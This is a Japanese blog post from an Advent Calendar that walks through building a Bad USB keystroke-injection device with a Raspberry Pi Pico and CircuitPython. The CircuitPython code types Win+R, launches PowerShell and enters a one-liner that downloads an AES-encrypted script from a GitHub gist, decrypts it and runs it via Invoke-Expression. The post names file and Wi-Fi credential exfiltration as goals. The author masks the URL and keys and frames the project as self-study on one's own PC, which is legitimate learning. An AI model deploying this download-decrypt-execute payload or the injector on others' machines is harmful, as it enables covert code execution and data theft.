6
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

サイバーセキュリティクラウドAdvent Calendar 2024

Day 9

Raspberry Pi PicoとCircuitPythonで作るBad USB:ハッキングデバイスを自作し、攻撃の仕組みを学ぼう

Last updated at Posted at 2024-12-08

はじめに

近年、セキュリティ分野では「Flipper Zero」という多機能デバイスが注目されています。
ある日、知り合いにこのデバイスを見せてもらい、その多様な機能に感動しました。Flipper Zeroは、RFIDのクローン作成やBluetoothリモート操作、さらにはUSB HIDデバイスとして動作するなど、さまざまなハッキングツールを備えています。
こうした機能の多彩さを目の当たりにし、セキュリティの仕組みや回避手法をより深く理解したいと感じ、自分でも簡単なハッキングデバイスを作成してみることにしました。

今回の記事では、Raspberry Pi PicoとCircuitPythonを使って、Bad USBを自作した体験を紹介します。Flipper Zeroそのものの機能とは異なるものの、Bad USBもセキュリティの理解に非常に役立つデバイスです。
この作成プロセスを通じて学んだことや気をつけるべき点なども併せて解説しています。

画像はRaspberry Pi Picoです。非常に小さいですね。
20241101_105202.jpg


⚠️ 注意事項

Bad USBの作成や実験は、あくまでセキュリティ学習や技術理解を目的としたものです。
そのため、以下の点に十分ご注意ください。

  • 自己所有のPCのみで実験すること
    他人のPCや会社のPCなど、所有者の許可を得ていない環境での実験は絶対に行わないでください。
  • 悪用厳禁
    本記事で紹介している手法や技術は、セキュリティの脆弱性を理解し、対策を考えるためのものです。
    これを用いて他人のデバイスに不正にアクセスしたり、情報を盗むような行為は犯罪です。

Flipper Zeroの機能一覧

  • RFIDクローン作成:RFIDを読み取り、コピー可能。
  • 信号再送信:IR(赤外線)やRF(ラジオ周波数)でデバイスを制御。
  • Bluetoothリモート操作:Bluetooth機器との接続・制御。
  • デジタルマルチメーター:基本的な電圧測定が可能。
  • Sub-GHz無線解析:さまざまなSub-GHz周波数での信号解析や再送信。
  • USB HID機能:Bad USBとして使用し、キーストローク送信が可能。
  • その他:GPIOピンを使ったカスタムツールの作成、近接通信、ペイロード送信など。

Flipper Zeroは以上のような多機能を備えていますが、今回はBad USBの部分にフォーカスして自作を試みます。


実際の攻撃手法

Bad USBの基本的な仕組みとして、以下の手順を想定しています(Windows PCの場合):

  1. PCと接続:USBポートに差し込むとHIDデバイスとして認識される。
  2. 「ファイル名を指定して実行」を起動Windows + R キーを送信。
    image.png
  3. コマンドプロンプトまたはPowerShellの起動cmdまたはpowershellを送信。
    image.png
  4. コマンド実行:PCのファイルを圧縮して外部サーバへ送信、無線アクセスポイントの情報を取得して外部へ送信など。
    image.png

上記の手順により、Bad USBはキーストロークを使った攻撃を実現します。たった数回のキーストロークでも、意図した命令を送信するだけでPC内の情報を盗み出すことが可能です。


攻撃手法における工夫

今回のBad USBの作成で行った工夫は以下の通りです:

  • キーストロークの短縮:実行するコマンドはGitHubからのスクリプトダウンロードのみとし、その他のキーストロークを最小限に。
  • 通信の暗号化:GitHubにアップロードするスクリプトを暗号化し、PC上で復号化して実行。
  • 実行完了の可視化:オンボードLEDを利用し、実行中は点灯、終了後に消灯させることで引き抜くタイミングを明確化。

こうした工夫により、実際の試行では約10秒でPowerShellの実行を完了しました。
以下は実行したPowerShellの例です。※実際の使用を避けるため、一部マスクしています。

$uri = "https://gist.githubusercontent.com/xxx/xxx/raw/xxx/gistfile1.txt"; $key = [Convert]::FromBase64String("xxx"); $iv = [Convert]::FromBase64String("xxx"); $encryptedData = (New-Object Net.WebClient).DownloadString($uri); $encryptedBytes = [Convert]::FromBase64String($encryptedData); $aes = New-Object System.Security.Cryptography.AesManaged; $aes.Key = $key; $aes.IV = $iv; $plaintextBytes = $aes.CreateDecryptor().TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length); $script = [System.Text.Encoding]::UTF8.GetString($plaintextBytes); Invoke-Expression $script

作成手順

以下の手順でBad USBを作成します。

  1. 道具の準備

    • Raspberry Pi Pico:Amazonで約1000円。
      Raspberry Pi Picoは、手頃な価格のマイクロコントローラーボードで、CircuitPythonを使うことで、簡単にUSBキーボードやマウスとして動作させることができます。
      このため、PicoとCircuitPythonの組み合わせはBadUSBのようなデバイスを手軽に作成するのに適しています。コードを書いて即実行でき、HID機能でホストPCへの入力操作をシミュレートできるため、開発・テストも非常に簡単です。
    • USBケーブル:USB Type-C オス、USBオス。
      Raspberry Pi PicoをPCと接続するために使用します。
      注意点として、充電専用ではなくデータ転送に対応しているものを選ぶ必要があります。
  2. CircuitPythonのインストール

    • CircuitPythonを公式サイトからダウンロードし、Raspberry Pi Picoにインストールします。
      image.png
    • Raspberry Pi PicoのBOOTSELボタン(白くて丸いボタン)を押しながらケーブルをPCに接続すると、「RPI-RP2」というストレージとして認識されるので、ダウンロードしたUF2ファイルをドラッグアンドドロップします。
      Picoは自動的に再起動し、今度は「CIRCUITPY」という名前のドライブとしてPCに表示されます。
      ここまででCircuitPythonのインストールは完了です。
      image.png
  3. コードの書き込み

    • 作成したコードをCircuitPythonでPicoに書き込み、必要なライブラリも追加します。
      今回は「adafruit_hid」ライブラリが必要なため、こちらからCircuitPythonのバージョンに対応する「adafruit-circuitpython-bundle-x.x-mpy-yyyymmdd.zip」をダウンロードして、libフォルダに「adafruit_hid」フォルダをコピーします。
      image.png
  4. JIS配列キーボードに対応するための工夫

    • CircuitPythonのHIDライブラリはデフォルトでUS配列を前提としているため、JIS配列のキーを正しく認識するためにはキーコードのマッピングを調整する必要があります。
    • 具体的には、JIS配列固有のキー(「半角/全角」キーや「@」キーなど)をUS配列に対応するキーコードへと変換するようにします。また、Shiftキーと組み合わせた場合のコード変換も考慮し、必要に応じてカスタムマッピングのテーブルを作成することが推奨されます。
      実際の実装例は以下のようになります。(こちらの記事を参考にさせていただきました)

keyboard_layout_jp.py(クラスの実装)

#Map ASCII characters to appropriate keypresses on a Japanese keyboard.

from adafruit_hid.keyboard_layout_base import KeyboardLayoutBase

class KeyboardLayoutJP(KeyboardLayoutBase):

    SHIFT_FLAG = (1<<9)
    
    ASCII_TO_KEYCODE = (
        0x0, #  NUL 0 0x00
        0x0, #  SOH 1 0x01
        0x0, #  STX 2 0x02
        0x0, #  ETX 3 0x03
        0x0, #  EOT 4 0x04
        0x0, #  ENQ 5 0x05
        0x0, #  ACK 6 0x06
        0x0, #  BEL 7 0x07
        0x2A, #  BS 8 0x08
        0x2B, #  TAB 9 0x09
        0x28, #  LF 10 0x0A
        0x0, #  VT 11 0x0B
        0x0, #  FF 12 0x0C
        0x0, #  CR 13 0x0D
        0x0, #  SO 14 0x0E
        0x0, #  SI 15 0x0F
        0x0, #  DEL 16 0x10
        0x0, #  DC1 17 0x11
        0x0, #  DC2 18 0x12
        0x0, #  DC3 19 0x13
        0x0, #  DC4 20 0x14
        0x0, #  NAK 21 0x15
        0x0, #  SYN 22 0x16
        0x0, #  ETB 23 0x17
        0x0, #  CAN 24 0x18
        0x0, #  EM 25 0x19
        0x0, #  SUB 26 0x1A
        0x0, #  ESC 27 0x1B
        0x0, #  FS 28 0x1C
        0x0, #  GS 29 0x1D
        0x0, #  RS 30 0x1E
        0x0, #  US 31 0x1F
        0x2C, #  Space 32 0x20
        0x21E, #  ! 33 0x21
        0x21F, #  " 34 0x22
        0x220, #  # 35 0x23
        0x221, #  $ 36 0x24
        0x222, #  % 37 0x25
        0x223, #  & 38 0x26
        0x224, #  ' 39 0x27
        0x225, #  ( 40 0x28
        0x226, #  ) 41 0x29
        0x234, #  * 42 0x2A
        0x233, #  + 43 0x2B
        0x36, #  , 44 0x2C
        0x2D, #  - 45 0x2D
        0x37, #  . 46 0x2E
        0x38, #  / 47 0x2F
        0x27, #  0 48 0x30
        0x1E, #  1 49 0x31
        0x1F, #  2 50 0x32
        0x20, #  3 51 0x33
        0x21, #  4 52 0x34
        0x22, #  5 53 0x35
        0x23, #  6 54 0x36
        0x24, #  7 55 0x37
        0x25, #  8 56 0x38
        0x26, #  9 57 0x39
        0x34, #  : 58 0x3A
        0x33, #  ; 59 0x3B
        0x236, #  < 60 0x3C
        0x22D, #  = 61 0x3D
        0x237, #  > 62 0x3E
        0x238, #  ? 63 0x3F
        0x2F, #  @ 64 0x40
        0x204, #  A 65 0x41
        0x205, #  B 66 0x42
        0x206, #  C 67 0x43
        0x207, #  D 68 0x44
        0x208, #  E 69 0x45
        0x209, #  F 70 0x46
        0x20A, #  G 71 0x47
        0x20B, #  H 72 0x48
        0x20C, #  I 73 0x49
        0x20D, #  J 74 0x4A
        0x20E, #  K 75 0x4B
        0x20F, #  L 76 0x4C
        0x210, #  M 77 0x4D
        0x211, #  N 78 0x4E
        0x212, #  O 79 0x4F
        0x213, #  P 80 0x50
        0x214, #  Q 81 0x51
        0x215, #  R 82 0x52
        0x216, #  S 83 0x53
        0x217, #  T 84 0x54
        0x218, #  U 85 0x55
        0x219, #  V 86 0x56
        0x21A, #  W 87 0x57
        0x21B, #  X 88 0x58
        0x21C, #  Y 89 0x59
        0x21D, #  Z 90 0x5A
        0x30, #  [ 91 0x5B
        0x89, #  ¥ 92 0x5C
        0x32, #  ] 93 0x5D
        0x2E, #  ^ 94 0x5E
        0x287, #  _ 95 0x5F
        0x22F, #  ` 96 0x60
        0x4, #  a 97 0x61
        0x5, #  b 98 0x62
        0x6, #  c 99 0x63
        0x7, #  d 100 0x64
        0x8, #  e 101 0x65
        0x9, #  f 102 0x66
        0xA, #  g 103 0x67
        0xB, #  h 104 0x68
        0xC, #  i 105 0x69
        0xD, #  j 106 0x6A
        0xE, #  k 107 0x6B
        0xF, #  l 108 0x6C
        0x10, #  m 109 0x6D
        0x11, #  n 110 0x6E
        0x12, #  o 111 0x6F
        0x13, #  p 112 0x70
        0x14, #  q 113 0x71
        0x15, #  r 114 0x72
        0x16, #  s 115 0x73
        0x17, #  t 116 0x74
        0x18, #  u 117 0x75
        0x19, #  v 118 0x76
        0x1A, #  w 119 0x77
        0x1B, #  x 120 0x78
        0x1C, #  y 121 0x79
        0x1D, #  z 122 0x7A
        0x230, #  { 123 0x7B
        0x289, #  | 124 0x7C
        0x232, #  } 125 0x7D
        0x22E, #  ~ 126 0x7E
        0x0, #  DEL 127 0x7F
)

code.py(メインのプログラム)

import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
# from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from keyboard_layout_jp import KeyboardLayoutJP

keyboard = Keyboard(usb_hid.devices)
keyboard_layout = KeyboardLayoutJP(keyboard)

# PCがPicoを認識するまで待機
time.sleep(4) 

# PowerShellを起動
keyboard.send(Keycode.WINDOWS, Keycode.R)
time.sleep(0.5)
keyboard_layout.write("powershell\n")
time.sleep(2)

script = '$uri = "https://gist.githubusercontent.com/xxx/xxx/raw/xxx/gistfile1.txt"; $key = [Convert]::FromBase64String("xxx"); $iv = [Convert]::FromBase64String("xxx"); $encryptedData = (New-Object Net.WebClient).DownloadString($uri); $encryptedBytes = [Convert]::FromBase64String($encryptedData); $aes = New-Object System.Security.Cryptography.AesManaged; $aes.Key = $key; $aes.IV = $iv; $plaintextBytes = $aes.CreateDecryptor().TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length); $script = [System.Text.Encoding]::UTF8.GetString($plaintextBytes); Invoke-Expression $script\n'
keyboard_layout.write(script)
  1. 動作確認
    • 完成したBad USBをPCに接続し、JIS配列キーボード上で意図通りのキーストロークが実行されるか確認します。特に、「@」「:」「_」といったJISとUSで配置が異なるキーについて、誤動作がないか入念に確認します。

これらのステップにより、簡単にBad USBが完成します。JIS配列への対応には手間がかかりますが、CircuitPythonでのカスタムマッピングにより、キー入力の精度が向上します。必要な設定やスクリプトについては各自で調整し、必ず自己所有のPCでのみ実験してください。
以下の画像から、正常にPowerShellコマンドをダウンロードして実行できたことがわかります。(テストのため簡単なコマンドにしました)
image.png


まとめ

Raspberry Pi PicoでBad USBを自作することで、攻撃手法の仕組みを理解し、どのようにセキュリティが回避されるのかを体験できます。セキュリティエンジニアにとって、こうしたデバイスの作成と実験は、知識を深める上で非常に有意義です。自己研鑽の一環として、安全を保ちながら実験し、セキュリティに関する知見を高めていきましょう。

6
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
6
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?